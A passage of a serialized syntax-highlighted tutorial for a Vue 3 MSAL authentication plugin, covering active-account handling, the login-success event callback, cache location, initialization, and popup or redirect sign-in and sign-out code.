0",{"type":33,"tag":367,"props":1241,"children":1242},{"style":533},[1243],{"type":38,"value":1141},{"type":33,"tag":367,"props":1245,"children":1246},{"style":533},[1247],{"type":38,"value":840},{"type":33,"tag":367,"props":1249,"children":1251},{"class":369,"line":1250},27,[1252,1257,1261,1266,1270,1274,1279,1284,1289],{"type":33,"tag":367,"props":1253,"children":1254},{"style":374},[1255],{"type":38,"value":1256},"  instance",{"type":33,"tag":367,"props":1258,"children":1259},{"style":380},[1260],{"type":38,"value":174},{"type":33,"tag":367,"props":1262,"children":1263},{"style":1124},[1264],{"type":38,"value":1265},"setActiveAccount",{"type":33,"tag":367,"props":1267,"children":1268},{"style":533},[1269],{"type":38,"value":1131},{"type":33,"tag":367,"props":1271,"children":1272},{"style":374},[1273],{"type":38,"value":1220},{"type":33,"tag":367,"props":1275,"children":1276},{"style":533},[1277],{"type":38,"value":1278},"[",{"type":33,"tag":367,"props":1280,"children":1281},{"style":901},[1282],{"type":38,"value":1283},"0",{"type":33,"tag":367,"props":1285,"children":1286},{"style":533},[1287],{"type":38,"value":1288},"])",{"type":33,"tag":367,"props":1290,"children":1291},{"style":380},[1292],{"type":38,"value":571},{"type":33,"tag":367,"props":1294,"children":1296},{"class":369,"line":1295},28,[1297],{"type":33,"tag":367,"props":1298,"children":1299},{"style":533},[1300],{"type":38,"value":1301},"}\n",{"type":33,"tag":367,"props":1303,"children":1305},{"class":369,"line":1304},29,[1306],{"type":33,"tag":367,"props":1307,"children":1308},{"emptyLinePlaceholder":726},[1309],{"type":38,"value":729},{"type":33,"tag":367,"props":1311,"children":1313},{"class":369,"line":1312},30,[1314],{"type":33,"tag":367,"props":1315,"children":1316},{"style":518},[1317],{"type":38,"value":1318},"// A fresh sign-in does not set the active account for you.\n",{"type":33,"tag":367,"props":1320,"children":1322},{"class":369,"line":1321},31,[1323,1328,1332,1337,1342,1348,1352,1357],{"type":33,"tag":367,"props":1324,"children":1325},{"style":374},[1326],{"type":38,"value":1327},"instance",{"type":33,"tag":367,"props":1329,"children":1330},{"style":380},[1331],{"type":38,"value":174},{"type":33,"tag":367,"props":1333,"children":1334},{"style":1124},[1335],{"type":38,"value":1336},"addEventCallback",{"type":33,"tag":367,"props":1338,"children":1339},{"style":533},[1340],{"type":38,"value":1341},"((",{"type":33,"tag":367,"props":1343,"children":1345},{"style":1344},"--shiki-default:#E0AF68",[1346],{"type":38,"value":1347},"event",{"type":33,"tag":367,"props":1349,"children":1350},{"style":533},[1351],{"type":38,"value":1141},{"type":33,"tag":367,"props":1353,"children":1354},{"style":633},[1355],{"type":38,"value":1356}," =>",{"type":33,"tag":367,"props":1358,"children":1359},{"style":533},[1360],{"type":38,"value":840},{"type":33,"tag":367,"props":1362,"children":1364},{"class":369,"line":1363},32,[1365,1370,1374,1378,1382,1387,1392,1397,1401,1406,1411,1416,1420,1425],{"type":33,"tag":367,"props":1366,"children":1367},{"style":633},[1368],{"type":38,"value":1369},"  if",{"type":33,"tag":367,"props":1371,"children":1372},{"style":533},[1373],{"type":38,"value":1215},{"type":33,"tag":367,"props":1375,"children":1376},{"style":374},[1377],{"type":38,"value":1347},{"type":33,"tag":367,"props":1379,"children":1380},{"style":380},[1381],{"type":38,"value":174},{"type":33,"tag":367,"props":1383,"children":1384},{"style":527},[1385],{"type":38,"value":1386},"eventType",{"type":33,"tag":367,"props":1388,"children":1389},{"style":633},[1390],{"type":38,"value":1391}," ===",{"type":33,"tag":367,"props":1393,"children":1394},{"style":374},[1395],{"type":38,"value":1396}," EventType",{"type":33,"tag":367,"props":1398,"children":1399},{"style":380},[1400],{"type":38,"value":174},{"type":33,"tag":367,"props":1402,"children":1403},{"style":901},[1404],{"type":38,"value":1405},"LOGIN_SUCCESS",{"type":33,"tag":367,"props":1407,"children":1408},{"style":633},[1409],{"type":38,"value":1410}," &&",{"type":33,"tag":367,"props":1412,"children":1413},{"style":374},[1414],{"type":38,"value":1415}," event",{"type":33,"tag":367,"props":1417,"children":1418},{"style":380},[1419],{"type":38,"value":174},{"type":33,"tag":367,"props":1421,"children":1422},{"style":527},[1423],{"type":38,"value":1424},"payload",{"type":33,"tag":367,"props":1426,"children":1427},{"style":533},[1428],{"type":38,"value":1429},") {\n",{"type":33,"tag":367,"props":1431,"children":1433},{"class":369,"line":1432},33,[1434,1439,1444,1448,1452,1456,1460,1465,1469],{"type":33,"tag":367,"props":1435,"children":1436},{"style":812},[1437],{"type":38,"value":1438},"    const",{"type":33,"tag":367,"props":1440,"children":1441},{"style":633},[1442],{"type":38,"value":1443}," payload",{"type":33,"tag":367,"props":1445,"children":1446},{"style":380},[1447],{"type":38,"value":835},{"type":33,"tag":367,"props":1449,"children":1450},{"style":374},[1451],{"type":38,"value":1415},{"type":33,"tag":367,"props":1453,"children":1454},{"style":380},[1455],{"type":38,"value":174},{"type":33,"tag":367,"props":1457,"children":1458},{"style":527},[1459],{"type":38,"value":1424},{"type":33,"tag":367,"props":1461,"children":1462},{"style":380},[1463],{"type":38,"value":1464}," as",{"type":33,"tag":367,"props":1466,"children":1467},{"style":374},[1468],{"type":38,"value":654},{"type":33,"tag":367,"props":1470,"children":1471},{"style":380},[1472],{"type":38,"value":571},{"type":33,"tag":367,"props":1474,"children":1476},{"class":369,"line":1475},34,[1477,1482,1486,1490,1494,1498,1502,1507,1511],{"type":33,"tag":367,"props":1478,"children":1479},{"style":374},[1480],{"type":38,"value":1481},"    instance",{"type":33,"tag":367,"props":1483,"children":1484},{"style":380},[1485],{"type":38,"value":174},{"type":33,"tag":367,"props":1487,"children":1488},{"style":1124},[1489],{"type":38,"value":1265},{"type":33,"tag":367,"props":1491,"children":1492},{"style":533},[1493],{"type":38,"value":1131},{"type":33,"tag":367,"props":1495,"children":1496},{"style":374},[1497],{"type":38,"value":1424},{"type":33,"tag":367,"props":1499,"children":1500},{"style":380},[1501],{"type":38,"value":174},{"type":33,"tag":367,"props":1503,"children":1504},{"style":527},[1505],{"type":38,"value":1506},"account",{"type":33,"tag":367,"props":1508,"children":1509},{"style":533},[1510],{"type":38,"value":1141},{"type":33,"tag":367,"props":1512,"children":1513},{"style":380},[1514],{"type":38,"value":571},{"type":33,"tag":367,"props":1516,"children":1518},{"class":369,"line":1517},35,[1519],{"type":33,"tag":367,"props":1520,"children":1521},{"style":533},[1522],{"type":38,"value":1523},"  }\n",{"type":33,"tag":367,"props":1525,"children":1527},{"class":369,"line":1526},36,[1528,1533],{"type":33,"tag":367,"props":1529,"children":1530},{"style":533},[1531],{"type":38,"value":1532},"})",{"type":33,"tag":367,"props":1534,"children":1535},{"style":380},[1536],{"type":38,"value":571},{"type":33,"tag":367,"props":1538,"children":1540},{"class":369,"line":1539},37,[1541],{"type":33,"tag":367,"props":1542,"children":1543},{"emptyLinePlaceholder":726},[1544],{"type":38,"value":729},{"type":33,"tag":367,"props":1546,"children":1548},{"class":369,"line":1547},38,[1549,1553,1558,1562,1567,1571,1576,1580],{"type":33,"tag":367,"props":1550,"children":1551},{"style":812},[1552],{"type":38,"value":815},{"type":33,"tag":367,"props":1554,"children":1555},{"style":633},[1556],{"type":38,"value":1557}," app",{"type":33,"tag":367,"props":1559,"children":1560},{"style":380},[1561],{"type":38,"value":835},{"type":33,"tag":367,"props":1563,"children":1564},{"style":1124},[1565],{"type":38,"value":1566}," createApp",{"type":33,"tag":367,"props":1568,"children":1569},{"style":533},[1570],{"type":38,"value":1131},{"type":33,"tag":367,"props":1572,"children":1573},{"style":374},[1574],{"type":38,"value":1575},"App",{"type":33,"tag":367,"props":1577,"children":1578},{"style":533},[1579],{"type":38,"value":1141},{"type":33,"tag":367,"props":1581,"children":1582},{"style":380},[1583],{"type":38,"value":571},{"type":33,"tag":367,"props":1585,"children":1587},{"class":369,"line":1586},39,[1588,1593,1597,1602,1606,1611,1615],{"type":33,"tag":367,"props":1589,"children":1590},{"style":374},[1591],{"type":38,"value":1592},"app",{"type":33,"tag":367,"props":1594,"children":1595},{"style":380},[1596],{"type":38,"value":174},{"type":33,"tag":367,"props":1598,"children":1599},{"style":1124},[1600],{"type":38,"value":1601},"use",{"type":33,"tag":367,"props":1603,"children":1604},{"style":533},[1605],{"type":38,"value":1131},{"type":33,"tag":367,"props":1607,"children":1608},{"style":374},[1609],{"type":38,"value":1610},"router",{"type":33,"tag":367,"props":1612,"children":1613},{"style":533},[1614],{"type":38,"value":1141},{"type":33,"tag":367,"props":1616,"children":1617},{"style":380},[1618],{"type":38,"value":571},{"type":33,"tag":367,"props":1620,"children":1622},{"class":369,"line":1621},40,[1623,1627,1631,1635,1639,1643,1647,1651,1655],{"type":33,"tag":367,"props":1624,"children":1625},{"style":374},[1626],{"type":38,"value":1592},{"type":33,"tag":367,"props":1628,"children":1629},{"style":380},[1630],{"type":38,"value":174},{"type":33,"tag":367,"props":1632,"children":1633},{"style":1124},[1634],{"type":38,"value":1601},{"type":33,"tag":367,"props":1636,"children":1637},{"style":533},[1638],{"type":38,"value":1131},{"type":33,"tag":367,"props":1640,"children":1641},{"style":374},[1642],{"type":38,"value":588},{"type":33,"tag":367,"props":1644,"children":1645},{"style":380},[1646],{"type":38,"value":593},{"type":33,"tag":367,"props":1648,"children":1649},{"style":374},[1650],{"type":38,"value":1117},{"type":33,"tag":367,"props":1652,"children":1653},{"style":533},[1654],{"type":38,"value":1141},{"type":33,"tag":367,"props":1656,"children":1657},{"style":380},[1658],{"type":38,"value":571},{"type":33,"tag":367,"props":1660,"children":1662},{"class":369,"line":1661},41,[1663,1667,1671,1676,1680,1684,1689,1693,1697],{"type":33,"tag":367,"props":1664,"children":1665},{"style":374},[1666],{"type":38,"value":1592},{"type":33,"tag":367,"props":1668,"children":1669},{"style":380},[1670],{"type":38,"value":174},{"type":33,"tag":367,"props":1672,"children":1673},{"style":1124},[1674],{"type":38,"value":1675},"mount",{"type":33,"tag":367,"props":1677,"children":1678},{"style":533},[1679],{"type":38,"value":1131},{"type":33,"tag":367,"props":1681,"children":1682},{"style":380},[1683],{"type":38,"value":388},{"type":33,"tag":367,"props":1685,"children":1686},{"style":391},[1687],{"type":38,"value":1688},"#app",{"type":33,"tag":367,"props":1690,"children":1691},{"style":380},[1692],{"type":38,"value":388},{"type":33,"tag":367,"props":1694,"children":1695},{"style":533},[1696],{"type":38,"value":1141},{"type":33,"tag":367,"props":1698,"children":1699},{"style":380},[1700],{"type":38,"value":571},{"type":33,"tag":34,"props":1702,"children":1703},{},[1704],{"type":38,"value":1705},"Two things in there are easy to leave out and annoying to debug.",{"type":33,"tag":34,"props":1707,"children":1708},{},[1709,1714,1716,1721],{"type":33,"tag":41,"props":1710,"children":1712},{"className":1711},[],[1713],{"type":38,"value":1265},{"type":38,"value":1715}," after ",{"type":33,"tag":41,"props":1717,"children":1719},{"className":1718},[],[1720],{"type":38,"value":1192},{"type":38,"value":1722}," is what survives a page refresh. MSAL keeps the account in the cache, but it doesn't pick an active one for you, so token calls fail on reload with an account-missing error even though the user is signed in.",{"type":33,"tag":34,"props":1724,"children":1725},{},[1726,1728,1733],{"type":38,"value":1727},"The ",{"type":33,"tag":41,"props":1729,"children":1731},{"className":1730},[],[1732],{"type":38,"value":1405},{"type":38,"value":1734}," callback covers the other direction. A first-time sign-in populates the cache but leaves the active account unset until you set it.",{"type":33,"tag":34,"props":1736,"children":1737},{},[1738,1744,1746,1752],{"type":33,"tag":41,"props":1739,"children":1741},{"className":1740},[],[1742],{"type":38,"value":1743},"cacheLocation: 'localStorage'",{"type":38,"value":1745}," keeps the session across tabs and reloads. The default is ",{"type":33,"tag":41,"props":1747,"children":1749},{"className":1748},[],[1750],{"type":38,"value":1751},"sessionStorage",{"type":38,"value":1753},", which doesn't.",{"type":33,"tag":34,"props":1755,"children":1756},{},[1757,1759,1765,1767,1773,1775,1781,1783,1789,1791,1796,1798,1803],{"type":38,"value":1758},"Once the plugin is installed, ",{"type":33,"tag":41,"props":1760,"children":1762},{"className":1761},[],[1763],{"type":38,"value":1764},"useMsal()",{"type":38,"value":1766}," handles the rest of the startup sequence. On first call, while the interaction status is still ",{"type":33,"tag":41,"props":1768,"children":1770},{"className":1769},[],[1771],{"type":38,"value":1772},"Startup",{"type":38,"value":1774},", it calls ",{"type":33,"tag":41,"props":1776,"children":1778},{"className":1777},[],[1779],{"type":38,"value":1780},"initialize()",{"type":38,"value":1782}," and then ",{"type":33,"tag":41,"props":1784,"children":1786},{"className":1785},[],[1787],{"type":38,"value":1788},"handleRedirectPromise()",{"type":38,"value":1790},". That matters because ",{"type":33,"tag":41,"props":1792,"children":1794},{"className":1793},[],[1795],{"type":38,"value":46},{"type":38,"value":1797}," has required an awaited ",{"type":33,"tag":41,"props":1799,"children":1801},{"className":1800},[],[1802],{"type":38,"value":1780},{"type":38,"value":1804}," before any other API call since v3. Skip it and you get:",{"type":33,"tag":357,"props":1806,"children":1809},{"className":1807,"code":1808,"language":38,"meta":7,"style":7},"language-text shiki shiki-themes tokyo-night","BrowserAuthError: uninitialized_public_client_application\n",[1810],{"type":33,"tag":41,"props":1811,"children":1812},{"__ignoreMap":7},[1813],{"type":33,"tag":367,"props":1814,"children":1815},{"class":369,"line":370},[1816],{"type":33,"tag":367,"props":1817,"children":1818},{},[1819],{"type":38,"value":1808},{"type":33,"tag":95,"props":1821,"children":1823},{"id":1822},"signing-in-popup-or-redirect",[1824],{"type":38,"value":1825},"Signing in: popup or redirect",{"type":33,"tag":34,"props":1827,"children":1828},{},[1829,1834],{"type":33,"tag":41,"props":1830,"children":1832},{"className":1831},[],[1833],{"type":38,"value":1764},{"type":38,"value":1835}," gives you the MSAL instance plus reactive state:",{"type":33,"tag":357,"props":1837,"children":1839},{"className":506,"code":1838,"language":508,"meta":7,"style":7},"const { instance, accounts, inProgress, loginRequest, callMsGraph } = useMsal();\n",[1840],{"type":33,"tag":41,"props":1841,"children":1842},{"__ignoreMap":7},[1843],{"type":33,"tag":367,"props":1844,"children":1845},{"class":369,"line":370},[1846,1850,1855,1859,1863,1867,1871,1876,1880,1885,1889,1894,1898,1902,1907,1911],{"type":33,"tag":367,"props":1847,"children":1848},{"style":812},[1849],{"type":38,"value":815},{"type":33,"tag":367,"props":1851,"children":1852},{"style":380},[1853],{"type":38,"value":1854}," {",{"type":33,"tag":367,"props":1856,"children":1857},{"style":633},[1858],{"type":38,"value":1117},{"type":33,"tag":367,"props":1860,"children":1861},{"style":380},[1862],{"type":38,"value":593},{"type":33,"tag":367,"props":1864,"children":1865},{"style":633},[1866],{"type":38,"value":1175},{"type":33,"tag":367,"props":1868,"children":1869},{"style":380},[1870],{"type":38,"value":593},{"type":33,"tag":367,"props":1872,"children":1873},{"style":633},[1874],{"type":38,"value":1875}," inProgress",{"type":33,"tag":367,"props":1877,"children":1878},{"style":380},[1879],{"type":38,"value":593},{"type":33,"tag":367,"props":1881,"children":1882},{"style":633},[1883],{"type":38,"value":1884}," loginRequest",{"type":33,"tag":367,"props":1886,"children":1887},{"style":380},[1888],{"type":38,"value":593},{"type":33,"tag":367,"props":1890,"children":1891},{"style":633},[1892],{"type":38,"value":1893}," callMsGraph",{"type":33,"tag":367,"props":1895,"children":1896},{"style":380},[1897],{"type":38,"value":547},{"type":33,"tag":367,"props":1899,"children":1900},{"style":380},[1901],{"type":38,"value":835},{"type":33,"tag":367,"props":1903,"children":1904},{"style":1124},[1905],{"type":38,"value":1906}," useMsal",{"type":33,"tag":367,"props":1908,"children":1909},{"style":533},[1910],{"type":38,"value":1197},{"type":33,"tag":367,"props":1912,"children":1913},{"style":380},[1914],{"type":38,"value":571},{"type":33,"tag":34,"props":1916,"children":1917},{},[1918,1923,1925,1930,1931,1936,1937,1943,1945,1951,1953,1959],{"type":33,"tag":41,"props":1919,"children":1921},{"className":1920},[],[1922],{"type":38,"value":1327},{"type":38,"value":1924}," is the plain ",{"type":33,"tag":41,"props":1926,"children":1928},{"className":1927},[],[1929],{"type":38,"value":54},{"type":38,"value":334},{"type":33,"tag":41,"props":1932,"children":1934},{"className":1933},[],[1935],{"type":38,"value":1220},{"type":38,"value":150},{"type":33,"tag":41,"props":1938,"children":1940},{"className":1939},[],[1941],{"type":38,"value":1942},"inProgress",{"type":38,"value":1944}," are refs. ",{"type":33,"tag":41,"props":1946,"children":1948},{"className":1947},[],[1949],{"type":38,"value":1950},"loginRequest",{"type":38,"value":1952}," is a default request object of ",{"type":33,"tag":41,"props":1954,"children":1956},{"className":1955},[],[1957],{"type":38,"value":1958},"{ scopes: ['User.Read'] }",{"type":38,"value":1960},", which is enough to sign in and read the user's own profile.",{"type":33,"tag":357,"props":1962,"children":1965},{"className":1963,"code":1964,"language":562,"meta":7,"style":7},"language-vue shiki shiki-themes tokyo-night","\u003Cscript setup lang=\"ts\">\nimport { useMsal, useIsAuthenticated } from \"vue3-msal-plugin\";\n\nconst { instance, loginRequest } = useMsal();\nconst isAuthenticated = useIsAuthenticated();\n\nconst loginPopup = () => instance.loginPopup(loginRequest);\nconst loginRedirect = () => instance.loginRedirect(loginRequest);\nconst logoutPopup = () => instance.logoutPopup({ mainWindowRedirectUri: \"/\" });\nconst logoutRedirect = () => instance.logoutRedirect();\n\u003C/script>\n\n\u003Ctemplate>\n  \u003Cbutton v-if=\"!isAuthenticated\" @click=\"loginPopup\">Sign in\u003C/button>\n  \u003Cbutton v-else @click=\"logoutPopup\">Sign out\u003C/button>\n\u003C/template>\n",[1966],{"type":33,"tag":41,"props":1967,"children":1968},{"__ignoreMap":7},[1969,2016,2065,2072,2115,2143,2150,2204,2257,2330,2375,2391,2398,2414,2503,2564],{"type":33,"tag":367,"props":1970,"children":1971},{"class":369,"line":370},[1972,1978,1984,1989,1994,1998,2002,2007,2011],{"type":33,"tag":367,"props":1973,"children":1975},{"style":1974},"--shiki-default:#BA3C97",[1976],{"type":38,"value":1977},"\u003C",{"type":33,"tag":367,"props":1979,"children":1981},{"style":1980},"--shiki-default:#F7768E",[1982],{"type":38,"value":1983},"script",{"type":33,"tag":367,"props":1985,"children":1986},{"style":633},[1987],{"type":38,"value":1988}," setup",{"type":33,"tag":367,"props":1990,"children":1991},{"style":633},[1992],{"type":38,"value":1993}," lang",{"type":33,"tag":367,"props":1995,"children":1996},{"style":380},[1997],{"type":38,"value":383},{"type":33,"tag":367,"props":1999,"children":2000},{"style":380},[2001],{"type":38,"value":388},{"type":33,"tag":367,"props":2003,"children":2004},{"style":391},[2005],{"type":38,"value":2006},"ts",{"type":33,"tag":367,"props":2008,"children":2009},{"style":380},[2010],{"type":38,"value":388},{"type":33,"tag":367,"props":2012,"children":2013},{"style":1974},[2014],{"type":38,"value":2015},">\n",{"type":33,"tag":367,"props":2017,"children":2018},{"class":369,"line":402},[2019,2023,2027,2032,2036,2041,2045,2049,2053,2057,2061],{"type":33,"tag":367,"props":2020,"children":2021},{"style":527},[2022],{"type":38,"value":530},{"type":33,"tag":367,"props":2024,"children":2025},{"style":533},[2026],{"type":38,"value":536},{"type":33,"tag":367,"props":2028,"children":2029},{"style":539},[2030],{"type":38,"value":2031},"useMsal",{"type":33,"tag":367,"props":2033,"children":2034},{"style":380},[2035],{"type":38,"value":593},{"type":33,"tag":367,"props":2037,"children":2038},{"style":539},[2039],{"type":38,"value":2040}," useIsAuthenticated",{"type":33,"tag":367,"props":2042,"children":2043},{"style":533},[2044],{"type":38,"value":547},{"type":33,"tag":367,"props":2046,"children":2047},{"style":527},[2048],{"type":38,"value":552},{"type":33,"tag":367,"props":2050,"children":2051},{"style":380},[2052],{"type":38,"value":557},{"type":33,"tag":367,"props":2054,"children":2055},{"style":391},[2056],{"type":38,"value":79},{"type":33,"tag":367,"props":2058,"children":2059},{"style":380},[2060],{"type":38,"value":388},{"type":33,"tag":367,"props":2062,"children":2063},{"style":380},[2064],{"type":38,"value":571},{"type":33,"tag":367,"props":2066,"children":2067},{"class":369,"line":574},[2068],{"type":33,"tag":367,"props":2069,"children":2070},{"emptyLinePlaceholder":726},[2071],{"type":38,"value":729},{"type":33,"tag":367,"props":2073,"children":2074},{"class":369,"line":625},[2075,2079,2083,2087,2091,2095,2099,2103,2107,2111],{"type":33,"tag":367,"props":2076,"children":2077},{"style":812},[2078],{"type":38,"value":815},{"type":33,"tag":367,"props":2080,"children":2081},{"style":380},[2082],{"type":38,"value":1854},{"type":33,"tag":367,"props":2084,"children":2085},{"style":633},[2086],{"type":38,"value":1117},{"type":33,"tag":367,"props":2088,"children":2089},{"style":380},[2090],{"type":38,"value":593},{"type":33,"tag":367,"props":2092,"children":2093},{"style":633},[2094],{"type":38,"value":1884},{"type":33,"tag":367,"props":2096,"children":2097},{"style":380},[2098],{"type":38,"value":547},{"type":33,"tag":367,"props":2100,"children":2101},{"style":380},[2102],{"type":38,"value":835},{"type":33,"tag":367,"props":2104,"children":2105},{"style":1124},[2106],{"type":38,"value":1906},{"type":33,"tag":367,"props":2108,"children":2109},{"style":533},[2110],{"type":38,"value":1197},{"type":33,"tag":367,"props":2112,"children":2113},{"style":380},[2114],{"type":38,"value":571},{"type":33,"tag":367,"props":2116,"children":2117},{"class":369,"line":681},[2118,2122,2127,2131,2135,2139],{"type":33,"tag":367,"props":2119,"children":2120},{"style":812},[2121],{"type":38,"value":815},{"type":33,"tag":367,"props":2123,"children":2124},{"style":633},[2125],{"type":38,"value":2126}," isAuthenticated",{"type":33,"tag":367,"props":2128,"children":2129},{"style":380},[2130],{"type":38,"value":835},{"type":33,"tag":367,"props":2132,"children":2133},{"style":1124},[2134],{"type":38,"value":2040},{"type":33,"tag":367,"props":2136,"children":2137},{"style":533},[2138],{"type":38,"value":1197},{"type":33,"tag":367,"props":2140,"children":2141},{"style":380},[2142],{"type":38,"value":571},{"type":33,"tag":367,"props":2144,"children":2145},{"class":369,"line":722},[2146],{"type":33,"tag":367,"props":2147,"children":2148},{"emptyLinePlaceholder":726},[2149],{"type":38,"value":729},{"type":33,"tag":367,"props":2151,"children":2152},{"class":369,"line":732},[2153,2157,2162,2166,2171,2175,2179,2183,2188,2192,2196,2200],{"type":33,"tag":367,"props":2154,"children":2155},{"style":812},[2156],{"type":38,"value":815},{"type":33,"tag":367,"props":2158,"children":2159},{"style":1124},[2160],{"type":38,"value":2161}," loginPopup",{"type":33,"tag":367,"props":2163,"children":2164},{"style":380},[2165],{"type":38,"value":835},{"type":33,"tag":367,"props":2167,"children":2168},{"style":533},[2169],{"type":38,"value":2170}," ()",{"type":33,"tag":367,"props":2172,"children":2173},{"style":633},[2174],{"type":38,"value":1356},{"type":33,"tag":367,"props":2176,"children":2177},{"style":374},[2178],{"type":38,"value":1117},{"type":33,"tag":367,"props":2180,"children":2181},{"style":380},[2182],{"type":38,"value":174},{"type":33,"tag":367,"props":2184,"children":2185},{"style":1124},[2186],{"type":38,"value":2187},"loginPopup",{"type":33,"tag":367,"props":2189,"children":2190},{"style":533},[2191],{"type":38,"value":1131},{"type":33,"tag":367,"props":2193,"children":2194},{"style":374},[2195],{"type":38,"value":1950},{"type":33,"tag":367,"props":2197,"children":2198},{"style":533},[2199],{"type":38,"value":1141},{"type":33,"tag":367,"props":2201,"children":2202},{"style":380},[2203],{"type":38,"value":571},{"type":33,"tag":367,"props":2205,"children":2206},{"class":369,"line":766},[2207,2211,2216,2220,2224,2228,2232,2236,2241,2245,2249,2253],{"type":33,"tag":367,"props":2208,"children":2209},{"style":812},[2210],{"type":38,"value":815},{"type":33,"tag":367,"props":2212,"children":2213},{"style":1124},[2214],{"type":38,"value":2215}," loginRedirect",{"type":33,"tag":367,"props":2217,"children":2218},{"style":380},[2219],{"type":38,"value":835},{"type":33,"tag":367,"props":2221,"children":2222},{"style":533},[2223],{"type":38,"value":2170},{"type":33,"tag":367,"props":2225,"children":2226},{"style":633},[2227],{"type":38,"value":1356},{"type":33,"tag":367,"props":2229,"children":2230},{"style":374},[2231],{"type":38,"value":1117},{"type":33,"tag":367,"props":2233,"children":2234},{"style":380},[2235],{"type":38,"value":174},{"type":33,"tag":367,"props":2237,"children":2238},{"style":1124},[2239],{"type":38,"value":2240},"loginRedirect",{"type":33,"tag":367,"props":2242,"children":2243},{"style":533},[2244],{"type":38,"value":1131},{"type":33,"tag":367,"props":2246,"children":2247},{"style":374},[2248],{"type":38,"value":1950},{"type":33,"tag":367,"props":2250,"children":2251},{"style":533},[2252],{"type":38,"value":1141},{"type":33,"tag":367,"props":2254,"children":2255},{"style":380},[2256],{"type":38,"value":571},{"type":33,"tag":367,"props":2258,"children":2259},{"class":369,"line":800},[2260,2264,2269,2273,2277,2281,2285,2289,2294,2299,2304,2308,2312,2317,2321,2326],{"type":33,"tag":367,"props":2261,"children":2262},{"style":812},[2263],{"type":38,"value":815},{"type":33,"tag":367,"props":2265,"children":2266},{"style":1124},[2267],{"type":38,"value":2268}," logoutPopup",{"type":33,"tag":367,"props":2270,"children":2271},{"style":380},[2272],{"type":38,"value":835},{"type":33,"tag":367,"props":2274,"children":2275},{"style":533},[2276],{"type":38,"value":2170},{"type":33,"tag":367,"props":2278,"children":2279},{"style":633},[2280],{"type":38,"value":1356},{"type":33,"tag":367,"props":2282,"children":2283},{"style":374},[2284],{"type":38,"value":1117},{"type":33,"tag":367,"props":2286,"children":2287},{"style":380},[2288],{"type":38,"value":174},{"type":33,"tag":367,"props":2290,"children":2291},{"style":1124},[2292],{"type":38,"value":2293},"logoutPopup",{"type":33,"tag":367,"props":2295,"children":2296},{"style":533},[2297],{"type":38,"value":2298},"({",{"type":33,"tag":367,"props":2300,"children":2301},{"style":847},[2302],{"type":38,"value":2303}," mainWindowRedirectUri",{"type":33,"tag":367,"props":2305,"children":2306},{"style":380},[2307],{"type":38,"value":825},{"type":33,"tag":367,"props":2309,"children":2310},{"style":380},[2311],{"type":38,"value":557},{"type":33,"tag":367,"props":2313,"children":2314},{"style":391},[2315],{"type":38,"value":2316},"/",{"type":33,"tag":367,"props":2318,"children":2319},{"style":380},[2320],{"type":38,"value":388},{"type":33,"tag":367,"props":2322,"children":2323},{"style":533},[2324],{"type":38,"value":2325}," })",{"type":33,"tag":367,"props":2327,"children":2328},{"style":380},[2329],{"type":38,"value":571},{"type":33,"tag":367,"props":2331,"children":2332},{"class":369,"line":808},[2333,2337,2342,2346,2350,2354,2358,2362,2367,2371],{"type":33,"tag":367,"props":2334,"children":2335},{"style":812},[2336],{"type":38,"value":815},{"type":33,"tag":367,"props":2338,"children":2339},{"style":1124},[2340],{"type":38,"value":2341}," logoutRedirect",{"type":33,"tag":367,"props":2343,"children":2344},{"style":380},[2345],{"type":38,"value":835},{"type":33,"tag":367,"props":2347,"children":2348},{"style":533},[2349],{"type":38,"value":2170},{"type":33,"tag":367,"props":2351,"children":2352},{"style":633},[2353],{"type":38,"value":1356},{"type":33,"tag":367,"props":2355,"children":2356},{"style":374},[2357],{"type":38,"value":1117},{"type":33,"tag":367,"props":2359,"children":2360},{"style":380},[2361],{"type":38,"value":174},{"type":33,"tag":367,"props":2363,"children":2364},{"style":1124},[2365],{"type":38,"value":2366},"logoutRedirect",{"type":33,"tag":367,"props":2368,"children":2369},{"style":533},[2370],{"type":38,"value":1197},{"type":33,"tag":367,"props":2372,"children":2373},{"style":380},[2374],{"type":38,"value":571},{"type":33,"tag":367,"props":2376,"children":2377},{"class":369,"line":843},[2378,2383,2387],{"type":33,"tag":367,"props":2379,"children":2380},{"style":1974},[2381],{"type":38,"value":2382},"\u003C/",{"type":33,"tag":367,"props":2384,"children":2385},{"style":1980},[2386],{"type":38,"value":1983},{"type":33,"tag":367,"props":2388,"children":2389},{"style":1974},[2390],{"type":38,"value":2015},{"type":33,"tag":367,"props":2392,"children":2393},{"class":369,"line":861},[2394],{"type":33,"tag":367,"props":2395,"children":2396},{"emptyLinePlaceholder":726},[2397],{"type":38,"value":729},{"type":33,"tag":367,"props":2399,"children":2400},{"class":369,"line":911},[2401,2405,2410],{"type":33,"tag":367,"props":2402,"children":2403},{"style":1974},[2404],{"type":38,"value":1977},{"type":33,"tag":367,"props":2406,"children":2407},{"style":1980},[2408],{"type":38,"value":2409},"template",{"type":33,"tag":367,"props":2411,"children":2412},{"style":1974},[2413],{"type":38,"value":2015},{"type":33,"tag":367,"props":2415,"children":2416},{"class":369,"line":956},[2417,2422,2427,2432,2436,2440,2445,2450,2454,2459,2464,2468,2472,2476,2480,2485,2491,2495,2499],{"type":33,"tag":367,"props":2418,"children":2419},{"style":1974},[2420],{"type":38,"value":2421},"  \u003C",{"type":33,"tag":367,"props":2423,"children":2424},{"style":1980},[2425],{"type":38,"value":2426},"button",{"type":33,"tag":367,"props":2428,"children":2429},{"style":633},[2430],{"type":38,"value":2431}," v-if",{"type":33,"tag":367,"props":2433,"children":2434},{"style":380},[2435],{"type":38,"value":383},{"type":33,"tag":367,"props":2437,"children":2438},{"style":380},[2439],{"type":38,"value":388},{"type":33,"tag":367,"props":2441,"children":2442},{"style":633},[2443],{"type":38,"value":2444},"!",{"type":33,"tag":367,"props":2446,"children":2447},{"style":374},[2448],{"type":38,"value":2449},"isAuthenticated",{"type":33,"tag":367,"props":2451,"children":2452},{"style":380},[2453],{"type":38,"value":388},{"type":33,"tag":367,"props":2455,"children":2456},{"style":380},[2457],{"type":38,"value":2458}," 